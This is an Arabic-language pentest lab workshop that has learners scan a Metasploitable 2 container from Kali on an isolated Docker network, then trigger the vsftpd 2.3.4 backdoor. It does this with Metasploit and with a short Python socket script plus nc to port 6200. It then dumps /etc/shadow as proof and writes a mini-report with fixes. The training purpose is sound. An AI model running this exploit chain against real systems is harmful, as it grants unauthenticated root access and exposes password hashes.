المقدمة و Kali — ورشة تطبيقية
قرأت العرض التوضيحي. ستُعيده الآن بمفردك. الهدف: الحصول على
shell من نوع root على الضحية، التقاط ثلاثة أدلة، ملء قائمة
التحقق. احسب من 45 إلى 75 دقيقة في المرة الأولى — الوقت اللازم لسحب
صور Docker وفهم الأوامر.
كانت النسخة الأولى من هذه الورشة تستخدم جهازين افتراضيين على VirtualBox. كانت تعمل، لكنها تتطلب تحميل 4 غيغابايت، مُحاكيًا مُثبَّتًا، BIOS بتفعيل المحاكاة الافتراضية، وجهاز Windows افتراضي ليس الحصول على ترخيصه أمرًا بسيطًا دائمًا. كان نصف المسجَّلين يتخلى قبل الأمر الأول.
مع Docker Desktop، يحل أمر docker compose up محل كل ذلك. تُشغّل
المختبر في 30 ثانية، وتُوقفه في ثانية واحدة. الدرس التربوي نفسه
تمامًا — اكتشاف خدمة ضعيفة، استغلالها، الحصول على شل مُمتاز
الصلاحيات، استخراج الأدلة. غيّرنا فقط الثغرة المُستغَلة: ننتقل من
MS17-010 (Windows، لا يمكن إعادة إنتاجها في حاوية) إلى الباب
الخلفي لـvsftpd 2.3.4 (Linux، قابل للاستغلال في حاوية).
كل شيء، في هذه الورشة، يجري بين حاويتين على حاسوبك، على شبكة
Docker خاصة (10.20.30.0/24). لا يجب أن يخرج أي أمر من هذا الدرس
من حاسوبك. إذا كنت في المنزل خلف جهاز راوتر، يجب ألا تصل الحركة
إليه. يتكفل ملف compose المُقدَّم بذلك نيابة عنك: يستخدم شبكة
bridge داخلية مخصصة. لا تُعدِّل هذه الإعدادات. لا تُوجّه أبدًا
أوامر الفحص إلى أي شيء غير 10.20.30.12.
ما يجب عليك تسليمه
في نهاية الورشة، سيكون لديك، في مجلد ~/labs/preuves/ داخل حاوية
المهاجم (محفوظ على مضيفك عبر حجم Docker):
scan-hote.txt— مخرج اكتشاف الشبكة.scan-ports.txt— المخرج الكامل لفحص Nmap لكل المنافذ.scan-versions.txt— مخرج فحص النسخ، مع تحديد vsftpd 2.3.4.banniere-root.txt— مخرجwhoami; hostname; id; uname -aالمُنفَّذ على الهدف من الـshell الذي حصلت عليه.shadow.txt— محتوى ملف/etc/shadowالخاص بالهدف، غير مقروء لمستخدم عادي.mini-rapport.md— ثلاث فقرات بصيغة Markdown: الوضع، الاستغلال، الأثر.
هذه الملفات الستة هي تسليمك. وهي أيضًا ما كنت ستُسلّمه لعميل، في نسخة مصغَّرة. نُرسي هذه العادة منذ الأسبوع الأول.
تعريف — الـproof of pwn، أو ما ينتظره العميل فعلًا
يُقرَأ تقرير pentest على ثلاثة مستويات. يُخاطب الملخص التنفيذي الإدارة ويُقدّم حكمًا في صفحة واحدة — خمسة حوادث حرجة، ثلاثة عشر متوسطة، التعرّض الرئيسي، الأولويات. يُدرج الجزء التقني كل اكتشاف مع إعادة إنتاجه خطوة بخطوة، موجَّهًا للفرق التي ستُصلح. بين الاثنين، الخط الذي يُقرّر الثقة الممنوحة للتقرير هو الأدلة — ملفات المخرج التي تُرفقها.
للدليل المفيد ثلاث خصائص. إنه مؤرَّخ — تحمل لقطة الشاشة ساعة الهدف، أو يبدأ اسم الملف بالتاريخ. إنه سياقي — نرى بجانب الثغرة المُستغَلة ما نحصل عليه عند تفعيلها، لا مجرد رسالة خطأ معلَّقة. وهو قابل لإعادة الإنتاج — الأمر الدقيق مُدوَّن بجانبه، بترتيب يسمح لمهندس نظم العميل بإعادة الخطوة للتحقق من إصلاحه.
يُشير التعبير proof of pwn — حرفيًا «دليل الامتلاك»، وكلمة pwn
وُلدت من خطأ إملائي لكلمة own — في اللغة المتخصصة إلى اللقطة التي
تُثبت دون لبس أن الجهاز أصبح لك. على Windows مُستغَل، الكلاسيكي هو
نافذة whoami التي تُظهر SYSTEM. على Linux، المكافئ هو whoami
التي تُظهر root، مُكمَّلة بمحتوى /etc/shadow — ملف لا يستطيع
سوى root قراءته. دونه، يقول تقريرك «نجحت»؛ ومعه، يُثبت
تقريرك «نجحت».
المتطلبات المادية
| المورد | الحد الأدنى |
|---|---|
| Docker Desktop | 4.30 أو أحدث، WSL2 مُفعَّل على Windows |
| ذاكرة RAM متاحة | 6 غيغابايت (2 للمهاجم، 1 للهدف، 3 للمضيف) |
| مساحة قرص متاحة | 15 غيغابايت (بما فيها صور Docker) |
| المحاكاة الافتراضية VT-x/AMD-V | مُفعَّلة في BIOS/UEFI |
| نظام المضيف | Windows 10/11، macOS 12+، Linux |
تحقق من تثبيتك:
docker --version # يجب أن يعرض Docker version 24 أو أحدث
docker compose version # يجب أن يعرض Docker Compose version v2.x
docker info | grep -i "operating"
إذا اشتكى docker info، فهذا يعني أن Docker Desktop لم يُشغَّل.
افتحه، انتظر الأيقونة الخضراء، أعد المحاولة.
تعريف — Docker Desktop، WSL2، ولماذا يعمل كل هذا تحت Windows
وُلد Docker تحت Linux، حيث يستفيد من ميزات النواة (namespaces وcgroups) غير الموجودة تحت Windows. لتشغيل Docker على جهاز Windows، يجب إذًا استضافة نواة Linux في مكان ما.
وُجد حلان تاريخيان: Hyper-V (جهاز افتراضي Linux تُديره Windows) وDocker Toolbox (جهاز افتراضي VirtualBox). منذ 2020، أتاحت Microsoft الحل الثالث للجميع: WSL2 (Windows Subsystem for Linux، النسخة 2)، نواة Linux خفيفة مدمجة في النظام، قادرة على البدء خلال ثانية واحدة وتبادل الملفات والشبكة مع Windows دون احتكاك.
يستخدم Docker Desktop لـWindows WSL2 كمحرك: حين تكتب docker run، يُنشئ Docker Desktop حاوية داخل نواة Linux الخاصة بـWSL2،
لا داخل Windows. لهذا يعمل حاوية Kali، وهي Linux، دون أي سحر على
جهاز Windows: تعمل داخل نواة Linux حقيقية تستضيفها أنظمتك، وغير
مرئية لك.
نتيجة عملية: إذا ركّبت حجمًا بـ-v ./mon-dossier:/data، يتكفّل
Docker Desktop بالترجمة بين نظام ملفات Windows (NTFS) وLinux
(ext4). تعمل أوامر الدرس تمامًا كما لو كنت تحت Linux أصلي.
الخطوة 1 — تشغيل المختبر (5 دقائق)
1أ. الانتقال إلى مجلد المختبر
يحتوي مستودع الكورس على مجلد labs/docker/ يضم docker-compose.yml
لكل وحدة. افتح طرفية في جذر المستودع ثم:
cd labs/docker/module-01-introduction
يجب أن يُظهر لك ls ثلاثة ملفات: docker-compose.yml،
README.fr.md، README.en.md.
إذا كنت تُفضّل العمل على نسخة مستقلة من المختبرات (دون استنساخ
الموقع كله)، يمكن استخراج المجلد الفرعي labs/docker/ كما هو —
لا تعتمد ملفات compose على بقية المستودع.
1ب. تشغيل الحاويات
أمر واحد فقط:
docker compose up -d
ما يحدث خلال الدقائق الـ2 إلى 5 التالية:
- يُحمِّل Docker صورة
tleemcjr/metasploitable2(≈ 1.7 غيغابايت في المرة الأولى). - يبني أو يُحمِّل Docker صورة
inskillsec/kali-lab(≈ 2.5 غيغابايت في المرة الأولى). - يُنشئ Docker شبكة
bridgeخاصة باسمm01-lab-net(الشبكة الفرعية10.20.30.0/24). - يُشغّل Docker الحاويتين، ويُخصّص لكل منهما عنوان IP ثابتًا:
10.20.30.5للمهاجم،10.20.30.12للهدف.
في النهاية، ترى:
[+] Running 3/3
✔ Network m01-lab-net Created
✔ Container m01-cible Started
✔ Container m01-attaquant Started
تعريف — أنماط شبكة Docker، ولماذا bridge هو الخيار الصحيح هنا
يقترح Docker عدة أنماط شبكة، يجب معرفة عواقبها لمختبر هجومي.
يضع نمط host الحاوية مباشرة على واجهة شبكة مضيفك: تُشارك عنوان IP
الخاص بجهازك، ومنافذها هي منافذك. يجب تجنبه في مختبر هجومي — سيفحص
nmap -p- جهازك نفسه والشبكة المتصل بها.
يترك نمط none الحاوية دون شبكة على الإطلاق. مفيد لمعالجة ملفات معزولة، غير قابل للاستخدام في مختبر يجب أن تتحدث فيه حاويتان.
نمط bridge — الافتراضي — يُنشئ شبكة افتراضية خاصة يربط Docker بها
الحاويات. يذهب ملف compose الخاص بهذه الوحدة أبعد من ذلك: يُنشئ شبكة
bridge مُسمّاة (m01-lab-net) بشبكة فرعية ثابتة
(10.20.30.0/24) وعناوين IP ثابتة. ميزتان: تتراءى الحاويات فيما
بينها، وأوامر الدرس قابلة للنسخ واللصق دون أي متغير يحتاج تعديلًا.
إنه المكافئ في Docker لنمط host-only في VirtualBox: شبكة محلية
صارمة، معزولة عن الباقي، متوقَّعة. تحقق دائمًا من العزل:
docker compose exec attaquant ping -c 1 8.8.8.8 قد يعمل (لأن
مضيفك يملك مسارًا افتراضيًا)، لكن لا يجب على أي أمر من المختبر
أن يستهدف عنوان IP خارجيًا. كل أوامر الفحص والاستغلال تستهدف فقط
10.20.30.12.
1ج. التحقق من أن كل شيء سليم
من مجلد labs/docker/ (درجة واحدة أعلى):
./verifier-lab.sh module-01-introduction # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-01-introduction # PowerShell
يجب أن يعرض السكربت رمزين ✅ للمهاجم والهدف. إذا ظهر ⚠️، امنح
الهدف 30 ثانية إضافية لإنهاء بدء تشغيله ثم أعد التحقق.
تحقق يدوي سريع آخر:
docker compose ps
يجب أن تُظهر الخدمتان Up وhealthy (بالنسبة للهدف).
1د. الدخول إلى المهاجم
هذا هو جهاز Kali الخاص بك طوال مدة الورشة:
docker compose exec attaquant bash
يتغيّر المِحث (prompt):
┌──(pentester㉿kali)-[~/labs]
└─$
أنت في الداخل. تُكتب كل الأوامر التالية في هذا المِحث، لا في PowerShell أو bash الخاص بمضيفك.
الخطوة 2 — إنشاء مجلد الأدلة
من داخل حاوية المهاجم:
mkdir -p ~/labs/preuves
cd ~/labs
مجلد ~/labs/ داخل الحاوية مُركَّب على ./attaquant-home/
الخاص بمضيفك بفضل الحجم المُعرَّف في ملف compose. تظهر الملفات
المُنشأة هنا في الوقت الفعلي في مجلد attaquant-home/ على نظام
مضيفك — يمكنك فتحها بمحرر الكود الذي تختاره.
يجب أن تُنتج كل الأوامر التالية ملفًا في preuves/. مختبِر
اختراق دون ملف مخرج هو صياد دون صورة.
الخطوة 3 — الاكتشاف (5 دقائق)
اعثر على الضحية دون قراءة ملف compose. لا يعرف المهاجم الحقيقي عنوان IP الخاص بهدفه: بل يكتشفه.
nmap -sn 10.20.30.0/24 -oN preuves/scan-hote.txt
يطلب -sn من Nmap إجراء فحص ping فقط: لا يختبر أي منفذ، بل يبحث
فقط عمن يرد. على شبكة bridge في Docker، يعمل ARP بشكل ممتاز — كل
حاوية نشطة تُجيب بعنوانها MAC.
يجب أن ترى ردَّين: 10.20.30.5 (أنت نفسك) و10.20.30.12 (الهدف).
سجِّل العنوان:
export VICTIME=10.20.30.12
echo "Cible identifiée : $VICTIME"
تعريف — لماذا لا نثق بـdocker-compose.yml لإيجاد عنوان IP
في هذا المختبر، عنوان IP مكتوب صراحة في ملف compose: كان بإمكانك
قراءته بدلًا من اكتشافه. لكن هذا لا يحدث أبدًا في مهمة حقيقية.
يُعطيك العميل في أفضل الأحوال نطاق CIDR («شريحتنا الداخلية على
10.42.0.0/16»)، وفي أسوئها لا شيء («ابحث عمّا هو موجود»).
اعتياد استخدام nmap -sn — أو ابن عمه الأكثر ضجيجًا arp-scan -l
— منذ الورشة الأولى هو تكوين انعكاس سيرافقك في كل مكان: يبدأ
الاستطلاع باكتشاف الشبكة، لا بقراءة الوثائق المقدَّمة. هذا أيضًا
سبب استخدام فحوصات الوحدة 04 للأداة نفسها، على شبكات فرعية أكبر.
نبني سلسلة عادات، لا مجموعة حيل.
الخطوة 4 — الفحص (10 دقائق)
المنافذ:
nmap -sS -Pn -p- --min-rate 2000 $VICTIME -oN preuves/scan-ports.txt
يطلب -p- جميع المنافذ الـ65,535. على Metasploitable 2 في Docker،
يستغرق هذا الفحص من 15 إلى 30 ثانية. يجب أن ترى قائمة طويلة —
ftp، ssh، telnet، smtp، http، netbios، microsoft-ds، mysql،
postgresql، tomcat…
النسخ (عدِّل قائمة المنافذ حسب ما وجده الفحص الأول):
nmap -sV -p 21,22,23,25,80,139,445,3306,5432,8180 $VICTIME -oN preuves/scan-versions.txt
انظر إلى سطر المنفذ 21:
21/tcp open ftp vsftpd 2.3.4
هذا السطر يصنع الوحدة بأكملها. vsftpd 2.3.4 خادم FTP اختُرِق تاريخيًا في يوليو 2011. يخبرك Nmap بذلك، ولم يبق سوى الاستفادة منه.
grep -E "vsftpd|smb|mysql" preuves/scan-versions.txt
إذا لم تر vsftpd 2.3.4 في المخرج: إما أن الهدف لم يُنهِ بدء
تشغيله (انتظر 30 ثانية وأعد المحاولة)، أو أن حاوية مختلفة تعمل
(أعد قراءة docker compose ps).
تعريف — vsftpd 2.3.4، قصة باب خلفي في مشروع مفتوح المصدر
vsftpd (Very Secure FTP Daemon) خادم FTP كتبه Chris Evans، مهندس أمان في Google، واعتُبر طويلًا مرجع FTP على Linux. تستخدمه Red Hat وDebian وUbuntu وعدة مزوّدي استضافة. تأتي سمعته من كوده البسيط وتدقيقه المستمر.
في يوليو 2011، حصل مهاجم على وصول مؤقت إلى الموقع الرسمي
vsftpd.beasts.org واستبدل الأرشيف القابل للتحميل للنسخة 2.3.4
بنسخة مُعدَّلة. أضاف الكود المصدري بابًا خلفيًا: إذا أرسل مستخدم اسم
اتصال ينتهي بالحرفين :) (وجه مبتسم)، يفتح الخادم shell root
على المنفذ 6200/TCP. دون أي كلمة مرور. ودون أي أثر في السجلات.
اكتشف Chris Evans التلاعب بعد أربعة أيام، وسحب الأرشيف، ونشر تنبيهًا. لكن بين الرفع الخبيث والاكتشاف، سحبت عشرات الآلاف من التثبيتات حول العالم النسخة المفخخة. بعضها كان لا يزال يعمل بعد سنوات.
أصبح الحادث درسًا مدرسيًا لثلاثة أسباب. أولًا لأنه يُظهر أن مشروعًا لا تشوبه شائبة في عملية تطويره يمكن أن يُخترَق في المصب، على سلسلة التوزيع. ثانيًا لأن الباب الخلفي كان تافهًا في تفعيله — لا حاجة لاستغلال معقّد، فقط وجه مبتسم في اسم اتصال. وأخيرًا لأنه أطلق تفكيرًا جادًا حول ضرورة توقيع الأرشيفات المنشورة والتحقق من هذه التوقيعات قبل التثبيت.
هذا الباب الخلفي هو ما ستُفعّله بعد دقيقتين. ليست قصة، إنها CVE-2011-2523.
الخطوة 5 — الاستغلال (15 دقيقة)
طريقتان. جرّب الاثنتين: الثانية قصيرة، ومشاهدة الباب الخلفي يعمل يدويًا تستحق العناء.
5أ. طريقة Metasploit (النظيفة)
هيّئ قاعدة بيانات Metasploit مرة أولى:
setup-lab msf-init
ثم أطلق الطرفية:
msfconsole -q
في الطرفية:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.20.30.12
run
انتظر سطر Command shell session 1 opened. بمجرد الدخول، أنت
root على الهدف. نفِّذ:
shell
whoami
hostname
id
uname -a
exit
sessions -k 1
exit
5ب. الطريقة اليدوية (الجميلة)
دائمًا في حاوية المهاجم:
# 1. الاتصال بـFTP وتفعيل الباب الخلفي
python3 << 'EOF'
import socket
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"USER hacker:)\r\n")
print(ftp.recv(1024).decode(), end="")
ftp.sendall(b"PASS anything\r\n")
print("(le serveur ne va pas répondre — c'est normal, il ouvre le port 6200)")
ftp.close()
EOF
# 2. الاتصال بـshell root على المنفذ 6200
nc 10.20.30.12 6200
أنت في shell لا يُظهر أي مِحث. اكتب whoami ثم Enter: يرد الهدف
بـroot. اكتب hostname: metasploitable. أنت root على الهدف دون
أن تُقدّم أي كلمة مرور، في ثلاثة أسطر من Python.
بمجرد الدخول في الـshell، التقط أدلتك — دون مغادرة الـshell.
5ج. التقاط الأدلة
في الـshell root على الهدف:
whoami > /tmp/preuve.txt
hostname >> /tmp/preuve.txt
id >> /tmp/preuve.txt
uname -a >> /tmp/preuve.txt
date >> /tmp/preuve.txt
cat /tmp/preuve.txt
ثم استرجع /etc/shadow:
cat /etc/shadow > /tmp/shadow.txt
غادر الـshell root على الهدف:
exit
بالعودة إلى shell الخاص بـKali، اسحب الملفات من الهدف عبر FTP
مجهول (يقبل المنفذ 21 اتصالات مجهولة) أو بشكل أكثر مباشرة عبر nc
بسيط:
# نسخة بسيطة: نُعيد تفعيل المُشغِّل ونسحب الملفات بجلسة shell نفسها
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER lecture:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF
(echo "cat /tmp/preuve.txt"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/banniere-root.txt
python3 << 'EOF'
import socket, time
ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp.connect(("10.20.30.12", 21))
ftp.recv(1024)
ftp.sendall(b"USER dump:)\r\n")
ftp.recv(1024)
ftp.sendall(b"PASS x\r\n")
time.sleep(1)
ftp.close()
EOF
(echo "cat /etc/shadow"; sleep 1; echo "exit") | nc 10.20.30.12 6200 > preuves/shadow.txt
تحقق:
cat preuves/banniere-root.txt # يجب أن يحتوي "root"، "metasploitable"، "uid=0"
cat preuves/shadow.txt # يجب أن يحتوي "root:$1$..." و"msfadmin:$1$..."
تعريف — لماذا /etc/shadow هو أفضل دليل على root حقيقي
على نظام Unix، لا تُخزَّن كلمات المرور بنص صريح. تُشفَّر (hachées)
ثم تُرتَّب في ملفين: /etc/passwd، الذي يُدرج الحسابات
ومجلداتها الرئيسية، ويقرأه الجميع، و/etc/shadow، الذي يحتوي بصمات
كلمات المرور، يقرأه root فقط.
يعود هذا الفصل إلى ثمانينيات القرن الماضي. سابقًا، كانت البصمة في
/etc/passwd، ما كان يسمح لأي مستخدم في النظام باسترجاعها ومحاولة
كسرها بالقوة الغاشمة دون اتصال. حوَّل الانتقال إلى /etc/shadow
قراءة الملف إلى دليل على الامتياز — إن استطعت قراءته، فأنت root،
أو وجدت تصعيد امتيازات.
في تقرير pentest، إرفاق الأسطر الأولى من /etc/shadow يفعل شيئين.
أولًا، يُثبت دون لبس مستوى الامتياز المُحقَّق. ثانيًا، يُعطي العميل
مادة للتدقيق: يمكنه التحقق من متانة كلمات مرور حساباته، اكتشاف تلك
التي تستخدم خوارزميات قديمة ($1$ لـMD5، $5$ لـSHA-256، $6$
لـSHA-512، $y$ لـyescrypt)، وفرض تدوير.
انتبه: في تقرير حقيقي، لا تُشارك أبدًا هذا الملف بنص صريح عبر البريد الإلكتروني. تُشفّره، تُرسله عبر قناة مُتفق عليها، وتُدمّر نسختك في نهاية المهمة. هذا النوع من الملفات قنبلة: بين يديك يُثبت عملك، وبين يدي طرف ثالث يُعرِّض شركة بأكملها للخطر.
الخطوة 6 — التقرير المصغَّر (20 دقيقة)
على مضيفك (لا داخل الحاوية — أكثر راحة)، افتح
labs/docker/module-01-introduction/attaquant-home/preuves/mini-rapport.md
بمحررك المفضَّل، واملأ هذه الأقسام. لا تتجاوز صفحة واحدة.
# Mini-rapport — Semaine 1
## Situation
Deux conteneurs Docker sur un réseau bridge isolé (10.20.30.0/24).
- Attaquant : Kali Linux (inskillsec/kali-lab) — 10.20.30.5
- Cible : Metasploitable 2 (tleemcjr/metasploitable2) — 10.20.30.12
## Exploitation
Le service FTP (port 21) tourne en vsftpd 2.3.4, une version connue pour
contenir une porte dérobée depuis juillet 2011 (CVE-2011-2523). Un nom
d'utilisateur se terminant par les deux caractères `:)` déclenche l'ouverture
d'un shell root sans authentification sur le port 6200/TCP.
Le module `exploit/unix/ftp/vsftpd_234_backdoor` de Metasploit automatise le
déclenchement et la connexion. La même exploitation est reproductible en trois
lignes de Python et un `nc`.
Preuves jointes :
- `scan-versions.txt` — Nmap identifie explicitement vsftpd 2.3.4.
- `banniere-root.txt` — sortie de `whoami; hostname; id; uname -a` exécutée
sur la cible, atteste du compte root.
- `shadow.txt` — contenu du fichier /etc/shadow de la cible, lisible
uniquement par root.
## Impact
Compromission totale du système (uid=0). Extraction des empreintes de mots
de passe locaux, exploitables hors ligne. Sur un environnement de production,
cette compromission autoriserait la lecture de toute donnée hébergée, la
modification silencieuse des services, et l'installation d'une persistance.
## Recommandations
1. Retirer vsftpd 2.3.4 partout. Aucune version 2.3.x n'est plus supportée ;
passer à 3.0.5 (dernière branche stable) ou à un autre serveur FTP moderne.
2. Vérifier les hashs SHA-256 des archives téléchargées avant installation.
L'archive piégée de 2011 avait un hash différent de l'archive légitime,
la vérification aurait alerté immédiatement.
3. Interdire l'installation de logiciels depuis des dépôts non signés.
Chaque distribution Linux moderne propose une signature GPG des paquets.
4. Placer le trafic FTP derrière un VPN ou le remplacer par SFTP. Le
protocole FTP en clair est de toute façon inadapté à un environnement
moderne.
يبقى نص هذا القالب باللغة الفرنسية في المصدر: إنه المحتوى الذي
تكتبه فعليًا في ملف mini-rapport.md الخاص بك أثناء الورشة، بنفس
الصياغة التي يستخدمها بقية الكورس لتقارير العملاء. انسخه واملأه
بأسلوبك، أو أعد صياغته بالعربية إذا كان تسليمك موجَّهًا لجمهور
عربي — الأهم أن تحافظ على الأقسام الأربعة: Situation، Exploitation،
Impact، Recommandations.
هذه الصيغة — Situation، Exploitation، Impact، Recommandations — هي التي سنُصقلها في الوحدة 12. اكتسب هذه العادة الآن.
الخطوة 7 — التنظيف
دائمًا في شل المضيف، من labs/docker/module-01-introduction/:
docker compose down -v
downيُوقف ويحذف الحاويتين.-vيحذف أيضًا الأحجام المجهولة. تبقى أدلتك فيattaquant-home/على قرصك: هذا المجلد تركيب صريح، لا حجم مجهول.
تحقق:
docker ps # يجب أن يكون فارغًا (أو لا يحتوي m01-*)
docker network ls | grep m01 # يجب أن يكون فارغًا
المختبر مُفكَّك. في مرة قادمة، يُعيد docker compose up -d تشغيله
في 30 ثانية لأن كل الصور محفوظة مسبقًا في الذاكرة المؤقتة.
قائمة التحقق لنهاية الورشة
- تشغيل Docker Desktop، ورد
docker info. - أطلق
docker compose up -dالحاويتين، ويعرضdocker compose psحالةUpوhealthy. - يعرض
verifier-lab.sh(أو.ps1) رمزين ✅. - يحتوي مجلد
~/labs/preuves/داخل الحاوية الملفات الستة المُدرجة في أعلى الصفحة. - رد المنفذ 6200 على الهدف فعليًا على
ncبعد تفعيل الباب الخلفي. - يحتوي
banniere-root.txtعلىrootوuid=0. - يحتوي
shadow.txtعلى عدة أسطر تبدأ بحساب وبصمة$.... - كُتب
mini-rapport.md، صفحة واحدة، أربعة أقسام. - نظّف
docker compose down -vالحاويات.
هل عُلِّمت كلها؟ نفَّذت للتو، بمفردك، سلسلة هجوم كاملة: الاكتشاف → الفحص → تحديد النسخة → الاستغلال → proof of pwn → التقرير. هذا هو هيكل كل مهام بقية مسيرتك المهنية.
ما يُعيق التقدم، وكيف تحله
| العرض | السبب المحتمل | ما تفعله |
|---|---|---|
docker compose up: Cannot connect to Docker daemon | لم يُشغَّل Docker Desktop | شغّل Docker Desktop، انتظر الأيقونة الخضراء. |
تحميل metasploitable2 طويل جدًا | صورة بحجم 1.7 غيغابايت، اتصال بطيء | تحلَّ بالصبر. بمجرد الحفظ المؤقت، الإطلاقات التالية فورية. |
nmap: الهدف لا يرد | لم يُنهِ الهدف سكربت services.sh الخاص به | انتظر 30 ثانية إضافية، يجب أن يعرض docker compose logs cible عبارة services running. |
المنفذ 21 مفتوح لكن دون vsftpd 2.3.4 | حاوية أخرى تعمل مكانه | docker compose down -v، ثم docker compose up -d نظيف. |
تفعيل :) دون أثر | أنت متصل بخادم FTP آخر | تحقق من nc -zv 10.20.30.12 21، تحقق من الاسم الدقيق للمستخدم (hacker:)). |
يرفض nc 10.20.30.12 6200 الاتصال | لم يفتح الباب الخلفي المنفذ | أعد التفعيل باسم اتصال مختلف — قد لا يُعيد اسم اتصال مُستخدَم مسبقًا التفعيل. |
| لا يرد shell الـroot | الـshell موجود لكن دون مِحث | اكتب whoami ثم Enter. الرد root يُؤكِّد الجلسة. |
تعذُّر قراءة /etc/shadow رغم root | ذاكرة مؤقتة مضادة للحاوية | docker compose restart cible، أعد المحاولة مع التفعيل. |
Ctrl+C يُجمِّد msfconsole | تنظيف قيد التنفيذ | انتظر 10 ثوانٍ. |
ما تخرج به من هذه الورشة
- انعكاس مختبري: حاويتان، شبكة مغلقة، مجلد أدلة محفوظ في حجم.
- سلسلة أدوات سنُعيد تشغيلها 12 مرة:
nmap -sn → nmap -sS → nmap -sV → msfconsole(أوnc+python). - صيغة التقرير المصغَّر: الوضع / الاستغلال / الأثر / التوصيات.
- الإحساس، الملموس، بمعنى اختراق جهاز — دون تحميل 4 غيغابايت من جهاز افتراضي، دون ترخيص Windows، دون إعادة ضبط BIOS. هذا ما سيجعلك تُتابع.
جاهز؟ لننتقل إلى اختبار الوحدة القصير.